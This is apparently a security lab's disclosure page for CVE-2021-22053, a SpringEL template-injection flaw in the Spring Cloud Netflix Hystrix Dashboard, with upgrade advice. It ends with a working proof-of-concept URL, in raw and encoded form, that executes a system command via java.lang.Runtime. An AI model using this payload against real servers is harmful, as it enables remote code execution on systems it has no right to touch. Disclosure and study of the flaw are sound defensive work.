seccoder-security-lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability CVE-2021-22053
High
Spring by VMware
Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at /hystrix/monitor;[user-provided data], the path elements following hystrix/monitor are being evaluated as SpringEL expressions, which can lead to code execution.
Severity is high unless otherwise noted.
Users of affected versions should apply the following mitigation: Users should upgrade to 2.2.10.RELEASE+. No other steps are necessary. Releases that have fixed this issue include:
This vulnerability was identified and responsibly reported by threedr3am of SecCoder Security Lab ([email protected]).
2021-11-17: Initial vulnerability report published.
raw:
http://127.0.0.1:8080/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/
encode:
http://127.0.0.1:8080/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/
PS. The diagonal bar'/' cannot be carried in the command